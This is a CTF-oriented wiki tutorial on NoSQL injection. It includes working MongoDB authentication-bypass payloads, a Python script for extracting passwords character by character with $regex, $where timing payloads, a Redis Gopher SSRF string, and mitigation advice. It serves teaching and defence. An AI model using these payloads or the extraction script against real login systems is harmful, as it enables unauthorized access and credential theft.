Athena Wiki
Web ExploitationSQL Injection

NoSQL Injection

webintermediate

Exploit MongoDB, Redis, and other NoSQL injection vulnerabilities in CTF web challenges.

webnosqlmongodbinjectionauthentication-bypassoperator-injection

NoSQL Injection

NoSQL injection targets non-relational databases (MongoDB, CouchDB, Redis and others) where user input is embedded into query objects or commands. Unlike SQL, NoSQL databases often use JSON-like query languages or text protocols - but the end result is the same: attacker-controlled operators can change query logic, bypass authentication, and extract data.


At a glance - how NoSQL injection differs

  • NoSQL engines use operator-based queries (e.g. MongoDB's $ne, $gt, $regex) instead of SQL keywords.
  • Payloads are frequently JSON, form-array encodings (PHP), or raw text protocols (Redis).
  • Server-side JavaScript ($where) or database-specific functions can enable powerful blind/time-based attacks.

Core primitives

  • Operator injection: inject objects like {"$ne": ...}, {"$gt": ...}, {"$regex": ...} into query parameters.
  • Type confusion: send arrays, objects, or strings where the app expects a scalar.
  • Protocol injection: abuse text protocols (Redis) via SSRF/Gopher.

MongoDB - common operator-based attacks

Authentication bypass (classic)

If user input is inserted directly into a MongoDB query object, supplying an operator bypasses equality checks.

Vulnerable server code (Node/Express example):

// Vulnerable
const user = await db.collection('users').findOne({
  username: req.body.username,
  password: req.body.password
});

Attack payload (JSON):

{ "username": "admin", "password": { "$ne": "x" } }

This turns the query into password: { $ne: 'x' }, which matches many documents and may return the first user (often admin).

Why this works

The query language treats the injected object as an operator. The application did not expect an object and therefore failed to validate or coerce input.

PHP array syntax (common source of injection)

In PHP's form-encoding, username[$ne]=x will be parsed into {"username":{"$ne":"x"}} on the server side. Test both JSON and form-encoded variants.

Examples:

  • JSON body: { "password": {"$ne": "x"} }
  • Form-encoded: password[$ne]=x

Data extraction techniques

Regex-based extraction (character-by-character)

Use $regex to test prefixes and extract values one character at a time. Prefer a limited charset and short timeouts.

Example (Python):

import requests, re

def extract_field(url, user='admin', field='password', charset=None):
    if charset is None:
        charset = 'abcdefghijklmnopqrstuvwxyz0123456789_{}-'
    known = ''
    while True:
        for ch in charset:
            payload = { 'username': user, f'{field}[$regex]': f'^{re.escape(known+ch)}' }
            r = requests.post(url, json=payload, timeout=5)
            if r.status_code == 200 and 'Welcome' in r.text:
                known += ch
                print('\r[+] found:', known, end='')
                break
        else:
            print('\n[!] done')
            return known

# usage: extract_field('http://target/login')

Blind / time-based with $where

When $where (server-side JS) is supported, return-time can be used to infer truth. Example payloads for prefix checks:

{"$where": "this.password && this.password.indexOf('adm')===0 && sleep(500)"}

Be mindful: $where can be disabled or restricted; modern MongoDB versions have hardened JS execution.


Redis - protocol-level injection and SSRF

  • Redis uses a line-based text protocol. If user input is inserted into a Redis command or a service accepts arbitrary payloads, attackers can craft raw Redis commands.
  • SSRF or Gopher-based requests to 127.0.0.1:6379 can be used to push commands to Redis from a vulnerable webapp.

Example Gopher string (conceptual):

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$4%0d%0akey%0d%0a$5%0d%0avalue%0d%0a

Detection and testing checklist

  • Try JSON and form-encoded variants (e.g., password[$ne]=x).
  • Look for JSON errors or Mongo-specific error messages in responses.
  • Test operator payloads: $ne, $gt, $gte, $lt, $in, $nin, $exists, $regex, $where.
  • For blind/time-based: use small sleeps and binary search strategies to reduce requests.
  • Test Redis via SSRF endpoints or URL fetchers with Gopher support.

Quick checklist:

  • POST JSON: {"username":"admin","password":{"$ne":"x"}}
  • POST form: password[$ne]=x
  • Test $regex extraction
  • Test $where timing
  • Probe for Redis via SSRF/Gopher

Bypasses and filters

  • Case variations and comments are less common in NoSQL, but encoding the payload (URL-encoding, hex, CHAR()) can bypass naive filters.
  • For PHP parsing filters, try both array-encoded forms and encoded JSON strings.

Examples:

password[$ne]=x
password=%7B%22$ne%22%3A%22x%22%7D   # url-encoded JSON

Prevention and mitigations

  • Use typed input validation: require scalars where scalars are expected; reject objects/arrays for username/password fields.
  • Strictly validate and sanitize JSON input; do not blindly JSON.parse() and pass objects to the DB driver.
  • Use allowlists for fields and operators; drop or reject $-prefixed keys server-side.
  • Use parameterized drivers / query builders that do not allow operator injection from user data.
  • Remove or restrict server-side JS execution and dangerous DB features (disable $where, restrict file/exec functions).
  • Apply least privilege to DB users and avoid granting file / admin privileges to web-facing accounts.

Practical examples & payloads

Login bypass (JSON)

POST /login HTTP/1.1
Content-Type: application/json

{"username":"admin","password":{"$ne":"x"}}

Login bypass (form)

username=admin&password[$ne]=x

Prefix extraction (regex) - single request style

POST /login
Content-Type: application/json

{"username":"admin","password":{"$regex":"^adm"}}

See also


Last updated on

On this page